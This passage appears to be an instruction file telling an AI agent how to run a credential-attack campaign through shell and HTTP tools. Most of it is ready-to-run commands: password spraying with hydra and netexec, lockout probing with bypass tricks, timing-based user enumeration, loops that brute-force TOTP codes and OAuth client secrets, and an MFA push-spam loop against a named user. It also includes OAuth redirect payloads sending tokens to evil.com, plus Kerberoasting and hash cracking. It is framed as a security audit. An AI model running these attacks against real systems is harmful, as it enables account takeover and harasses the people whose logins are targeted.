...)` | Raw HTTP — manual auth testing, cookie analysis, OAuth flows. Set `poc=True` for confirmed exploits |73| `http(action="save_poc", ...)` | Save a confirmed exploit as a raw `.http` file in `pocs/` |74| `report(action="finding", data={...})` | Log a confirmed vulnerability with evidence to findings.json |75| `report(action="diagram", data={...})` | Save a Mermaid diagram to findings.json |76| `report(action="dashboard", data={"port": 7777})` | Serve dashboard.html at localhost:7777 |77| `report(action="note", data={...})` | Write a reasoning note or decision to the session log |7879---8081## Attack Techniques8283| Technique | ATT&CK | Tools |84|-----------|--------|-------|85| **Password Guessing** | T1110.001 | `hydra`, `nuclei` |86| **Password Cracking** | T1110.002 | `john`, `hashcat` |87| **Password Spraying** | T1110.003 | `hydra`, `netexec` |88| **Credential Stuffing** | T1110.004 | `hydra`, `medusa` |89| **Default Credentials** | T1078.001 | `nuclei`, `hydra` |90| **Credential in Files** | T1552.001 | `trufflehog`, `grep` |91| **Kerberos Attacks** | T1558 | `impacket`, `kerbrute`, `john` |92| **MFA Bypass** | T1111 | `http(action="request", ...)`, manual |93| **OAuth/OIDC Abuse** | T1550.001 | `http(action="request", ...)`, `kali(command=...)` |94| **Timing Enumeration** | T1589.001 | `http(action="request", ...)`, `kali(command=...)` |95| **Session Token Analysis** | T1539 | `kali(command=...)`, `http(action="request", ...)` |9697---9899## Depth Presets100101| Depth | What runs | Limits |102|-------|-----------|--------|103| `quick` | Default creds (nuclei) + top-100 passwords | $0.10 | 10 min | 8 calls |104| `standard` | Quick + spraying + custom wordlist + lockout detection + timing enumeration | $0.50 | 30 min | 20 calls |105| `thorough` | Standard + hash cracking + MFA bypass + OAuth + session analysis + Kerberos | unlimited | unlimited | unlimited |106107---108109## Workflow110111### Before running any tool112113If depth/service is unspecified, ask:114115> **Target:** `<target>` | **Service(s):** `<detected or unknown>`116> - `quick` — default creds + top-100 *($0.10 · 10 min · 8 calls)*117> - `standard` — + spraying + lockout detection *($0.50 · 30 min · 20 calls)*118> - `thorough` — + MFA bypass + OAuth + Kerberos *(unlimited)*119> Any known usernames, captured hashes, or rate limiting concerns?120121---122123### Phase 0 — Scope & Setup1241250. `session(action="start", options={...})` with target, depth, limits1261. `report(action="dashboard", data={"port": 7777})`1272. `report(action="note", data={...})` — record target services, known usernames, auth mechanisms128129---130131### Phase 1 — Service Discovery & Auth Fingerprinting1321331. **Identify auth services**:134 ```135 scan(tool="nmap", target=HOST, options={"ports": "21,22,23,25,80,88,110,143,389,443,445,636,993,1433,3306,3389,5432,5900,6379,8080,8443,27017"})136 ```1371382. **Probe web auth** via `http(action="request", ...)`: find login pages, identify auth type (form/basic/bearer/OAuth/SAML), check for CAPTCHA, note error messages ("Invalid username" vs "Invalid credentials" = user enumeration)1391403. `report(action="note", data={...})` + `report(action="diagram", data={...})` with auth architecture (login form, auth service, DB, LDAP, MFA, OAuth paths)141142---143144### Phase 2 — Default Credential Testing145146**2.0 — Empty/blank password check (always run first):**147148Test empty passwords before anything else. Misconfigured services (SSH `PermitEmptyPasswords yes`, MySQL root with no password, anonymous FTP with credentials, PostgreSQL `trust` auth) are a quick critical win:149150```151# SSH — empty password for common service accounts152kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ssh -t 4 -W 3")153# If discovered usernames exist, test those too154kali(command="hydra -L /tmp/discovered-users.txt -p '' TARGET ssh -t 4 -W 3")155# MySQL — root with no password156kali(command="hydra -l root -p '' TARGET mysql -t 4")157# PostgreSQL — postgres with no password158kali(command="hydra -l postgres -p '' TARGET postgres -t 4")159# FTP — common accounts with empty password160kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ftp -t 4")161# Redis — no auth162kali(command="redis-cli -h TARGET ping")163# MongoDB — no auth164kali(command="mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})'")165```166167Report any empty-password login as **Critical** — it's zero-effort access.168169**2.1 — Platform-aware username expansion (when no discovered user list exists):**170171When invoked WITHOUT a `userlist=` argument, build a comprehensive username list from multiple sources before testing:172173```174kali(command="cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt > /tmp/spray-users.txt")175```176177Then append platform-specific usernames based on detected OS/service banners. **These are common examples** — always supplement with SecLists username wordlists for broader coverage:178179```180kali(command="cat /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt | head -500 >> /tmp/spray-users.txt")181```182183| Banner contains | Append usernames (examples) |184|-----------------|-----------------|185| `Debian`, `Ubuntu` | `www-data`, `pi`, `ftpuser`, `debian`, `ubuntu` |186| `CentOS`, `Red Hat`, `Fedora` | `centos`, `ec2-user`, `fedora` |187| `FreeBSD` | `freebsd`, `toor` |188| GCP (`googleusercontent.com`) | `google-sudoer`, `chronos` |189| AWS (`amazonaws.com`) | `ec2-user`, `ubuntu`, `centos`, `admin`, `bitnami` |190| Azure | `azureuser`, `azure` |191| Docker (hostname looks like container ID) | `app`, `node`, `web`, `deploy` |192| FTP service present | `ftp`, `ftpuser`, `anonymous`, `backup` |193| Any SSH | Use SecLists names: `/usr/share/seclists/Usernames/Names/names.txt` |194195```196kali(command="printf 'anne\njohn\nmary\njames\n...\n' >> /tmp/spray-users.txt && sort -u /tmp/spray-users.txt -o /tmp/spray-users.txt")197```198199Use `/tmp/spray-users.txt` as the user list for all Phase 2 and Phase 6 commands. This ensures common first names (like `anne`) are tested even when no explicit user list has been discovered.200201**2.2 — Default credential wordlists:**202203Run `scan(tool="nuclei", target=URL, options={"templates": "default-login"})` in parallel with service-specific defaults:204205| Service | Command |206|---------|---------|207| SSH | `hydra -L /tmp/spray-users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt -s PORT TARGET ssh -t 4 -W 3` (use `/tmp/spray-users.txt` from Phase 2.1 if no discovered user list, or `/tmp/discovered-users.txt` if available). **Do NOT use `top-20-common-SSH-passwords.txt`** — it's too small and misses common passwords like `princess`, `sunshine`, `dragon`, etc. The top-1000 list takes ~4 min with 4 threads per user and catches the vast majority of weak passwords. |208| FTP | Same user list + password list, `TARGET ftp -t 4` |209| MySQL | `-l root`, same pass list, `TARGET mysql -t 4` |210| PostgreSQL | `-l postgres`, `TARGET postgres -t 4` |211| SMB | `nxc smb TARGET -u administrator -p /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt` |212| RDP | `-l administrator`, `TARGET rdp -t 4` |213| MSSQL | `-l sa`, `TARGET mssql -t 4` |214| Redis | `redis-cli -h TARGET -a password` |215| MongoDB | `mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})'` |216217**Default credential discovery methodology:**2182191. **GitHub dorks**: `curl -s 'https://api.github.com/search/code?q=default+password+VENDOR+extension:md' | jq '.items[:5] | .[].html_url'` — search install guides, Docker entrypoints, Helm values.yaml2202. **Exploit-DB**: `searchsploit 'default password PRODUCT' --json | jq '.RESULTS_EXPLOIT[:5]'`2213. **Vendor docs**: installation guides (first-run passwords), API docs (example auth headers), Docker image env vars (`docker inspect IMAGE | jq '.[0].Config.Env'`)2224. **Shodan**: `http.title:"PRODUCT" "login"` for exposed panels, `product:"PRODUCT" port:8080` for mgmt interfaces2235. **SecLists lookup**: `grep -i 'PRODUCT' /usr/share/seclists/Passwords/Default-Credentials/default-credentials.csv | head -20`224225---226227### Phase 3 — Lockout Threshold Detection (standard+)228229Determine exact lockout threshold via binary search before spraying.230231**Algorithm** — use a sacrificial account:2322331. Send **3 wrong passwords**: `hydra -l testuser -P <(printf 'wrong1\nwrong2\nwrong3\n') TARGET ssh -t 1 -W 2`. Verify account still active (response says "invalid password" not "locked"). If active: threshold > 3.2342. Send **2 more** (total 5). If locked: threshold is 4 or 5. If active: threshold > 5.2353. **Narrow**: fresh account, exactly 4 attempts. Still active = threshold is 5. Locked = threshold is 4.2364. If > 5: try 10, then 7 or 15, continue binary search.237238**Lockout signals**: HTTP 423/429, "locked"/"disabled"/"too many attempts" in body, response time > 2x baseline, connection refused.239240**Lockout duration**: after triggering, test at 1min, 5min, 15min, 30min intervals:241```242kali(command="sleep 60 && curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/login -d 'user=testuser&pass=wrong'")243```244245**Bypass techniques**: IP rotation, username case variation (`Admin`/`admin`/`ADMIN`), Unicode normalization (`adm\u0131n`), concurrent requests before counter increments, different auth endpoints (`/login` vs `/api/auth` may not share lockout state).246247Use `threshold - 1` as max attempts per account in all spraying.248249---250251### Phase 4 — Timing-Based User Enumeration (standard+)252253Valid usernames trigger password hash comparison (slow); invalid usernames return immediately (fast).2542551. **Baseline** — 10 requests with known-invalid usernames:256 ```257 kali(command="for i in $(seq 1 10); do curl -s -o /dev/null -w '%{time_total}\n' -X POST https://TARGET/login -d 'user=definitelynotauser_$i&pass=wrongpass'; done")258 ```2592602. **Test candidates** — 3 samples each:261 ```262 kali(command="for user in admin root administrator operator service backup; do echo -n \"$user: \"; for i in 1 2 3; do curl -s -o /dev/null -w '%{time_total} ' -X POST https://TARGET/login -d \"user=$user&pass=wrongpass\"; done; echo; done")263 ```2642653. **Analysis**: discard first request (cold cache). Consistent > 2x baseline = valid user.266267**LDAP timing**: bind as `user@DOMAIN` with wrong password — "Invalid credentials" + slow = valid; "No such object" + fast = invalid.268269**SSH timing** (CVE-2016-6210): `/usr/bin/time -f '%e' ssh -o BatchMode=yes -o ConnectTimeout=5 USER@TARGET` — valid users take longer due to hash computation.270271**SMTP** (complementary): `smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t TARGET`272273Add confirmed users to `/tmp/valid-users.txt` for spraying.274275---276277### Phase 5 — Advanced Wordlist Mutation (standard+)278279**5.0 — Username-derived passwords (always run first when a user list exists):**280281When you have discovered usernames, these are your highest-priority password candidates — many users set passwords based on their own username:282283```284kali(command="cat /tmp/discovered-users.txt | while read u; do285 echo ''286 echo \"$u\"287 echo \"${u^}\"288 echo \"${u}1\"289 echo \"${u}123\"290 echo \"${u}!\"291 echo \"${u}1!\"292 echo \"${u}123!\"293 echo \"${u}@123\"294 echo \"${u}2024\"295 echo \"${u}2025\"296 echo \"${u}2026\"297 echo \"${u^}1!\"298 echo \"${u^}123\"299 echo \"${u^}123!\"300 echo \"${u^}2024!\"301 echo \"${u^}2025!\"302 echo \"${u^}2026!\"303 echo \"P@ssw0rd\"304 echo \"Password1\"305 echo \"Password123!\"306 echo \"Welcome1!\"307 echo \"Changeme1!\"308done | sort -u > /tmp/username-passwords.txt")309```310311Run this against ALL services before moving to generic wordlists:312```313kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ssh -t 4 -W 3")314kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ftp -t 4 -W 3")315```316317Also test **each username as its own password** (identity spray):318```319kali(command="hydra -C <(paste -d: /tmp/discovered-users.txt /tmp/discovered-users.txt) TARGET ssh -t 4")320```3213221. **CeWL**: `cewl TARGET -d 2 -m 5 -w /tmp/cewl-words.txt --count`3232. **John best64 rules** (64 most effective mutations — append digits, toggle case, reverse):324 ```325 kali(command="john --wordlist=/tmp/cewl-words.txt --rules=best64 --stdout | head -5000 > /tmp/mutated.txt")326 ```327 | Rule | What it does | When to use |328 |------|-------------|-------------|329 | `best64` | Top 64 mutations | Always — first pass |330 | `d3ad0ne` | 34K+ competition rules | Thorough — smaller wordlists only |331 | `KoreLogic` | Enterprise patterns (Company2024!) | Corporate targets |332 | `Single` | Username-derived mutations | When you have usernames |3333343. **Keyboard walks**: `qwerty123`, `1qaz2wsx`, `!QAZ2wsx`, `1q2w3e4r5t`, `zaq12wsx`, `qazwsxedc`, `asdfghjkl`, `0987654321`3354. **Mask attacks** — corporate password patterns:336 ```337 # Company+Year+Char: Company2024!338 kali(command="for word in $(head -5 /tmp/cewl-words.txt); do for year in 2023 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${word^}${year}${c}\"; done; done; done > /tmp/masks.txt")339 # Season+Year: Summer2024!, Winter2025@340 kali(command="for s in Spring Summer Autumn Winter Fall; do for y in 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${s}${y}${c}\"; done; done; done >> /tmp/masks.txt")341 ```3425. **Leetspeak**: `sed 's/a/@/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/$/g'` on CeWL output3436. **Merge all**: `cat /tmp/mutated.txt /tmp/masks.txt /tmp/leet.txt /tmp/keyboard-walks.txt | sort -u > /tmp/final-wordlist.txt`344345---346347### Phase 6 — Cross-Service Credential Spray (standard+)348349**IMPORTANT: This phase is MANDATORY whenever multiple auth services exist OR a user list (discovered or platform-generated) is available.** Every username must be tested against every discovered auth service — not just the service where the list was found. If FTP exposed a user list, SSH and HTTP are equally valid targets. If no discovered user list exists, use `/tmp/spray-users.txt` from Phase 2.1 (platform-aware expansion) — it includes common first names and platform-specific accounts that go far beyond the generic shortlist.350351**Single-service spray** (respect lockout threshold from Phase 3):352```353kali(command="hydra -L /tmp/valid-users.txt -p 'Password123!' TARGET ssh -t 2 -W 5")354kali(command="nxc smb TARGET -u /tmp/valid-users.txt -p 'Company2024!' --continue-on-success")355```356357**Cross-service automation** — when creds found on one service, test all others:358```359kali(command="echo '--- SMB ---' && nxc smb TARGET -u founduser -p 'foundpass'; \360 echo '--- RDP ---' && nxc rdp TARGET -u founduser -p 'foundpass'; \361 echo '--- SSH ---' && nxc ssh TARGET -u founduser -p 'foundpass'; \362 echo '--- WINRM ---' && nxc winrm TARGET -u founduser -p 'foundpass'; \363 echo '--- MSSQL ---' && nxc mssql TARGET -u founduser -p 'foundpass'; \364 echo '--- FTP ---' && nxc ftp TARGET -u founduser -p 'foundpass'")365```366367**Multi-host multi-protocol sweep:**368```369kali(command="for proto in smb rdp ssh winrm mssql; do echo \"=== $proto ===\"; nxc $proto TARGET_RANGE -u /tmp/valid-users.txt -p 'Password123!' --continue-on-success 2>&1 | grep -E '\\+|SUCCESS'; done")370```371372**Services not in netexec**: use hydra for PostgreSQL (`postgres`), Oracle (`oracle-listener`), HTTP Basic (`http-get /admin`), HTTP POST form.373374Call `report(action="finding", data={...})` immediately for every working credential pair.375376---377378### Phase 7 — MFA Bypass Testing (thorough)379380**MFA Bypass Matrix:**381382| # | Technique | Test method |383|---|-----------|-------------|384| 1 | **Step-up parameter removal** | Remove `mfa_required`/`otp`/`totp_code` from POST body, replay auth request. Some enforce MFA client-side only |385| 2 | **Response manipulation** | Change `"mfa_required": true` to `false`, or `"status": "mfa_pending"` to `"authenticated"` in response |386| 3 | **TOTP brute-force window** | 30-sec TOTP window = 3 valid codes (prev/current/next). 6-digit = 1M possibilities. At 1 req/sec, ~30 codes/window. No rate limit = brute-force in ~9.3 hours |387| 4 | **Backup code testing** | Often 8-digit numeric. Check if backup endpoint has separate rate limiting. Try `00000000`, `12345678`, `11111111` |388| 5 | **MFA fatigue (push spam)** | For Duo/MS Authenticator: send 20+ push requests spaced 2-3sec apart. Users approve from frustration |389| 6 | **Session reuse post-MFA** | Capture session token after MFA, logout, replay token. Check if server validates MFA on every request or only at login |390| 7 | **MFA disable via recovery** | Reset password, check if MFA auto-disables. Test "forgot password" + "remember device" interaction |391| 8 | **Different auth path** | Test ALL paths: `/login`, `/api/auth`, `/m/login`, `/v1/login`, SSO callback, OAuth token endpoint |392393**Key commands:**394```395# Technique 1: omit OTP field entirely396http(action="request", url="https://TARGET/api/auth/verify", method="POST", body={"username": "user", "password": "pass"})397398# Technique 3: TOTP brute-force399kali(command="for code in $(seq -w 000000 000100); do RESP=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/api/verify-mfa -d \"{\\\"code\\\":\\\"$code\\\"}\" -H 'Content-Type: application/json' -H 'Cookie: session=TOKEN'); echo \"$code: $RESP\"; [ \"$RESP\" = \"200\" ] && break; done")400401# Technique 5: push fatigue402kali(command="for i in $(seq 1 20); do curl -s -X POST https://TARGET/api/push-mfa -d '{\"username\":\"target_user\"}' -H 'Content-Type: application/json'; sleep 3; done")403404# Technique 6: session reuse after logout405http(action="request", url="https://TARGET/api/logout", method="POST", headers={"Cookie": "session=MFA_TOKEN"})406http(action="request", url="https://TARGET/api/dashboard", method="GET", headers={"Cookie": "session=MFA_TOKEN"})407```408409---410411### Phase 8 — OAuth/OIDC Credential Testing (thorough)412413**Grant type confusion** — test if server accepts unintended grants:414```415# ROPC (should be disabled): bypasses user interaction416http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "password", "username": "admin", "password": "admin", "client_id": "CLIENT_ID"})417# client_credentials: may issue tokens without user context418http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "client_credentials", "client_id": "CLIENT_ID", "client_secret": "SECRET"})419# implicit (deprecated): direct token in URL fragment420http(action="request", url="https://TARGET/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://evil.com/cb&scope=openid", method="GET")421```422423**Scope escalation** — request privileged scopes: `scope=openid+profile+admin+write+users:manage`424425**Redirect URI manipulation:**426- Open redirect: `redirect_uri=https://evil.com/callback`427- Path traversal: `redirect_uri=https://app.TARGET/callback/../../../attacker`428- URL encoding: `redirect_uri=https://app.TARGET%40evil.com/callback`429- Fragment injection: `redirect_uri=https://app.TARGET/callback%23@evil.com`430- Subdomain takeover: `redirect_uri=https://staging.TARGET/callback`431432**PKCE downgrade** — request auth code without `code_challenge`, exchange without `code_verifier`. Should fail if PKCE enforced.433434**Auth code replay** — use same authorization code twice; second use should fail.435436**Client secret brute-force:**437```438kali(command="for s in $(cat /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt); do R=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/oauth/token -d \"grant_type=client_credentials&client_id=CID&client_secret=$s\"); echo \"$s: $R\"; [ \"$R\" = \"200\" ] && break; done")439```440441**Token exchange abuse (RFC 8693)** — exchange user token for admin-scoped token via `grant_type=urn:ietf:params:oauth:grant-type:token-exchange`442443---444445### Phase 9 — Session Token Entropy Analysis (thorough)4464471. **Collect 20+ tokens**: login repeatedly, extract from Set-Cookie headers:448 ```449 kali(command="for i in $(seq 1 20); do curl -s -D - -X POST https://TARGET/login -d 'user=test&pass=test' | grep -i 'set-cookie' | sed 's/.*session=//; s/;.*//'; done > /tmp/tokens.txt")450 ```4514522. **Shannon entropy**:453 ```454 kali(command="python3 -c \"455import math, collections456tokens = open('/tmp/tokens.txt').read().strip().split('\n')457for t in tokens[:5]:458 freq = collections.Counter(t)459 ent = -sum((c/len(t))*math.log2(c/len(t)) for c in freq.values())460 print(f'{t[:20]}... len={len(t)} ent={ent:.2f}b/char total={ent*len(t):.0f}b')461\"")462 ```463 Secure: > 4.0 bits/char, > 128 bits total. Below 64 bits = brute-forceable.4644653. **Sequential pattern detection**:466 ```467 kali(command="python3 -c \"468tokens = open('/tmp/tokens.txt').read().strip().split('\n')469try:470 nums = [int(t,16) for t in tokens]471 diffs = [nums[i+1]-nums[i] for i in range(len(nums)-1)]472 if len(set(diffs))==1: print(f'CRITICAL: strictly sequential, increment={diffs[0]}')473 elif max(diffs)-min(diffs)<100: print(f'WARNING: nearly sequential, range={min(diffs)}-{max(diffs)}')474except: print('Not numeric/hex sequences')475prefixes = set(t[:8] for t in tokens)476if len(prefixes) < len(tokens)/2: print('WARNING: shared prefixes — timestamp-based?')477\"")478 ```4794804. **Timestamp detection** — base64-decode tokens, check if first 4 bytes are a Unix timestamp (1600000000-2000000000 range). Check hex prefix similarly.481482---483484### Phase 10 — Kerberos Credential Attacks (thorough, AD environments)485486**AS-REP Roasting** — accounts without pre-authentication:487```488kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/valid-users.txt -format hashcat -outputfile /tmp/asrep.txt")489kali(command="john --wordlist=/tmp/final-wordlist.txt --format=krb5asrep /tmp/asrep.txt && john --show /tmp/asrep.txt")490```491492**Kerberoasting** — extract TGS hashes for service accounts (requires any valid domain cred):493```494kali(command="impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")495```496- `$krb5tgs$23$` = RC4 (fast to crack, prioritize)497- `$krb5tgs$18$` = AES256 (slow, deprioritize)498499**Offline cracking priority:**500501| Priority | Method | Rule/Wordlist |502|----------|--------|---------------|503| 1 | Target wordlist + best64 | `/tmp/final-wordlist.txt` + `--rules=best64` |504| 2 | Keyboard walks + masks | `/tmp/keyboard-walks.txt` + `/tmp/masks.txt` |505| 3 | rockyou + best64 | `/usr/share/wordlists/rockyou.txt` + `--rules=best64` |506| 4 | CeWL + KoreLogic | `/tmp/cewl-words.txt` + `--rules=KoreLogic` |507| 5 | rockyou + d3ad0ne | Last resort — very slow |508509**Kerbrute enumeration** (no account required):510```511kali(command="kerbrute userenum --dc DC_IP -d DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt --output /tmp/kerbrute-valid.txt 2>&1 | tail -20")512```513514---515516### Phase 11 — Hash Cracking & Web Auth Testing (thorough)517518**Hash cracking** (from DB dumps, NTLM, SAM, etc.):5191. Identify: `hashid 'HASH'` + `john --list=formats | grep -i FORMAT`5202. Crack: `john --wordlist=/usr/share/wordlists/rockyou.txt --format=FORMAT /tmp/hashes.txt`5213. Rules: `john --wordlist=/tmp/final-wordlist.txt --rules=best64 --format=FORMAT /tmp/hashes.txt`5224. Show: `john --show /tmp/hashes.txt`523524**Web auth testing:**525- **Session management**: cookie flags (Secure, HttpOnly, SameSite), session fixation, logout invalidation526- **JWT**: `alg: none`, RS256-to-HS256 key confusion, expired token replay, sensitive data in payload527- **Password policy**: min length (1/3/6 char), complexity (all lowercase), common password rejection, password reuse528529---530531### Phase 12 — Verification & PoC532533For every confirmed finding:5345351. `report(action="note", data={...})` — what was confirmed5362. Verify access — actually log in with discovered credentials5373. `http(action="request", options={"poc": true})` for web findings5384. `http(action="save_poc", ...)` with descriptive title (e.g., `default-creds-admin`, `mfa-bypass-param-removal`, `oauth-scope-escalation`)5395. `report(action="finding", data={...})` — severity: Critical (admin/MFA bypass), High (user access/OAuth abuse), Medium (weak tokens/enumeration), Low (best practice gaps)540541---542543### Phase 13 — Report & Wrap-Up5445451. `report(action="diagram", data={...})` — credential attack surface diagram5462. `report(action="note", data={...})` with summary:547```548Credential Audit Summary:549 Default credentials: [count] services — [findings]550 Lockout threshold: [N] attempts / [duration]551 User enumeration: [count] users via [method]552 Password spraying: [users] x [passwords] — [findings]553 Cross-service reuse: [creds] across [services] — [findings]554 MFA bypass: [techniques] tested — [findings]555 OAuth/OIDC: [tests] — [findings]556 Session entropy: [bits] bits — [adequate/weak]557 Hash cracking: [total] hashes — [cracked] cracked558 Kerberos: [AS-REP/Kerberoast] — [findings]559```5603. `session(action="complete", options={...})`561562---563564## Finding Severity Guide565566| Severity | Criteria | Examples |567|----------|----------|---------|568| **Critical** | Admin/root access, MFA fully bypassed, mass credential compromise, domain admin via Kerberos | Default admin creds on production; MFA disabled via account recovery; AS-REP roast cracks domain admin |569| **High** | Regular user access, OAuth scope escalation, session prediction, partial MFA bypass | Spray finds 5 accounts; client_credentials issues admin tokens; push fatigue succeeds |570| **Medium** | Weak policy, low entropy, user enumeration, lockout bypass | No complexity requirements; tokens < 64 bits; timing reveals 20 valid users |571| **Low** | Informational, best practice gaps | Missing Secure flag; high lockout threshold (20); password reuse allowed |572573---574575## Chaining Other Skills576577| Skill | When to invoke |578|-------|----------------|579| `/post-exploit` | Valid credentials obtained — post-exploitation and lateral movement |580| `/lateral-movement` | Credentials work across multiple services — test lateral movement paths |581| `/analyze-cve` | Auth library has a known CVE — trace exploitability |582| `/gh-export` | When user asks to file GitHub issues|583584---585586## Context Recovery After Compaction587588When your context is compacted mid-skill:5895901. **Call `session(action="recovery")`** before doing anything else — returns a compact brief with `tools_already_run`, `in_progress_cells`, `pending_escalations`, and `EXECUTE_NOW`5912. **Resume `in_progress` cells first** — notes contain what payloads / credential sets were already tried5923. **Follow `pending_escalations`** — confirmed credentials that haven't been tested on all services yet5934. **Skip steps whose tools appear in `tools_already_run`** — do not re-run hydra/kerbrute on already-tested targets5945. **Never fabricate confirmation** — after compaction, re-verify credentials with a live login attempt, not from memory595596---597598## Rules599600- **`session(action="start", options={...})` is mandatory** — never run any other tool before it601- **Batch independent tools in the same response** — they execute in parallel602- When any tool returns a LIMIT message, stop immediately and call `session(action="complete", options={...})`603- **Detect lockout threshold BEFORE spraying** — binary search (Phase 3), then use `threshold - 1`604- **Start with default credentials** — always test vendor defaults before brute-force605- **Build custom wordlists** — cewl + john rules + mask attacks beat generic wordlists606- **Spray over brute-force** — 2 passwords x 1000 users beats 1000 passwords x 1 user607- **Test credential reuse cross-service** — every found credential pair must hit all discovered services608- **Call `report(action="finding", data={...})` for every confirmed credential** — include service, username, verified access609- **For every confirmed exploit**: call `http(action="request", options={"poc": true})` AND `http(action="save_poc", ...)`610- **Use `report(action="note", data={...})` liberally** — document reasoning for wordlist choices and attack strategy611- **Never fabricate findings** — only report credentials you actually verified612- **Mermaid syntax rules**: `flowchart TD`, quote labels, no em-dashes, short alphanumeric node IDs613- Call `session(action="stop_kali")` at the end if `kali(command=...)` was used